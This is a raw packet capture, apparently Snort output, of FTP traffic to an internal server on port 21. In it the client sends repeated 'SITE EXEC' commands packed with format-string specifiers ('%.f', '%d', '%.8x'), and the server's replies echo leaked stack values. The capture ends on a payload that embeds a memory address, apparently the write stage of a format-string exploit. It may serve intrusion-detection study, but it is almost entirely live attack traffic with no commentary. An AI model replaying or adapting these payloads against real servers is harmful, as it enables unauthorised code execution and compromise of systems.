2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 7C 25 2E 38 78 7C 25 2E 38 78 0D 0A |%.8x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.937457 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x16D 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37646 IpLen:20 DgmLen:351 DF ***AP*** Seq: 0x2AE2234 Ack: 0x2A60E7A Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269732 114785013 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 2D 511761075233228- 31 30 37 33 37 35 31 31 37 36 2D 31 30 37 33 37 1073751176-10737 35 30 39 30 32 2D 31 30 37 33 37 35 30 38 39 38 50902-1073750898 30 30 30 31 39 32 30 31 36 39 32 36 33 31 38 35 0001920169263185 32 34 30 30 31 37 35 7C 37 30 37 34 36 36 32 66 2400175|7074662f 7C 36 35 37 38 36 35 32 64 0D 0A |6578652d.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.963062 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41695 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A60E7A Ack: 0x2AE235F Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785016 69269732 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.963149 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x204 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37647 IpLen:20 DgmLen:502 DF ***AP*** Seq: 0x2AE235F Ack: 0x2A60E7A Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269734 114785016 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 7C 25 2E 38 78 7C 25 2E 38 78 27 29 %d%d|%.8x|%.8x') 0D 0A .. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.961505 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x202 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41696 IpLen:20 DgmLen:500 DF ***AP*** Seq: 0x2A60E7A Ack: 0x2AE2521 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785016 69269734 53 49 54 45 20 45 58 45 43 20 61 61 61 62 63 64 SITE EXEC aaabcd 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 7C 25 2E 38 78 7C 25 2E 38 78 0D 0A %d%d|%.8x|%.8x.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.966170 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x181 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37648 IpLen:20 DgmLen:371 DF ***AP*** Seq: 0x2AE2521 Ack: 0x2A6103A Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269735 114785016 32 30 30 2D 61 61 61 62 63 64 2D 32 2D 32 30 30 200-aaabcd-2-200 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000- 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24 30 6E 61 6E 2D 31 30 37 33 37 35 30 34 38 32 30 0nan-10737504820 2D 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 -107375125610745 34 32 35 34 31 2D 31 30 37 33 37 35 31 32 35 36 42541-1073751256 31 30 37 34 35 35 33 34 35 31 2D 31 30 37 33 37 1074553451-10737 35 31 31 37 36 31 30 37 35 32 33 33 32 32 38 2D 511761075233228- 31 30 37 33 37 35 31 31 37 36 2D 31 30 37 33 37 1073751176-10737 35 30 39 30 32 2D 31 30 37 33 37 35 30 38 39 38 50902-1073750898 30 30 30 31 39 32 30 31 36 39 32 36 33 31 38 35 0001920169263185 32 34 30 30 31 37 35 31 38 38 36 36 37 36 35 32 2400175188667652 37 31 37 30 32 33 38 39 30 33 37 7C 36 31 36 31 71702389037|6161 32 66 36 33 7C 36 34 36 33 36 32 36 31 0D 0A 2f63|64636261.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.979084 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41698 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A6103A Ack: 0x2AE2660 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785018 69269735 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.979185 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x208 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37649 IpLen:20 DgmLen:506 DF ***AP*** Seq: 0x2AE2660 Ack: 0x2A6103A Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269736 114785018 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 61 61 200 (end of 'aa 61 62 63 64 25 2E 66 25 2E 66 25 2E 66 25 2E 66 abcd%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 64 25 64 25 64 25 64 25 64 25 64 f%.f%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 7C 25 2E 38 78 7C 25 2E %d%d%d%d|%.8x|%. 38 78 27 29 0D 0A 8x').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.981472 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x1F2 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41699 IpLen:20 DgmLen:484 DF ***AP*** Seq: 0x2A6103A Ack: 0x2AE2826 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785018 69269736 53 49 54 45 20 45 58 45 43 20 25 2E 66 25 2E 66 SITE EXEC %.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 64 25 64 25 64 f%.f%.f%.f%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 0D 0A %d%d%d%d%d%d%d.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.986617 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x169 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37650 IpLen:20 DgmLen:347 DF ***AP*** Seq: 0x2AE2826 Ack: 0x2A611EA Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269737 114785018 32 30 30 2D 2D 32 2D 32 30 30 30 2D 32 30 30 30 200--2-2000-2000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 6E 61 00000000000000na 6E 30 30 30 30 30 30 30 30 2D 32 30 30 30 30 30 n00000000-200000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000 30 30 30 30 30 2D 32 2D 32 34 30 6E 61 6E 2D 31 00000-2-240nan-1 30 37 33 37 35 30 34 38 32 30 2D 31 30 37 33 37 0737504820-10737 35 31 32 35 36 31 30 37 34 35 34 32 35 34 31 2D 512561074542541- 31 30 37 33 37 35 31 32 35 36 31 30 37 34 35 35 1073751256107455 33 34 35 31 2D 31 30 37 33 37 35 31 31 37 36 31 3451-10737511761 30 37 35 32 33 33 32 32 38 2D 31 30 37 33 37 35 075233228-107375 31 31 37 36 2D 31 30 37 33 37 35 30 39 30 32 2D 1176-1073750902- 31 30 37 33 37 35 30 38 39 38 30 30 30 31 39 32 1073750898000192 30 31 36 39 32 36 33 31 38 35 32 34 30 30 31 37 0169263185240017 35 31 38 38 36 36 37 36 35 32 37 31 37 30 32 33 5188667652717023 38 39 30 33 37 0D 0A 89037.. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.998606 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41701 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A611EA Ack: 0x2AE294D Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785020 69269737 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:43.998695 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x1F8 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37651 IpLen:20 DgmLen:490 DF ***AP*** Seq: 0x2AE294D Ack: 0x2A611EA Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69269738 114785020 32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 25 2E 200 (end of '%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 .f%.f%.f%.f%.f%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 25 64 27 29 0D 0A %d').. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:05:44.001792 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x207 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41702 IpLen:20 DgmLen:505 DF ***AP*** Seq: 0x2A611EA Ack: 0x2AE2B03 Win: 0x7D78 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114785020 69269738 53 49 54 45 20 45 58 45 43 20 61 61 4C D0 FF FF SITE EXEC aaL... BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f% 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%. 66 25 2E 66 25 2E 66 25 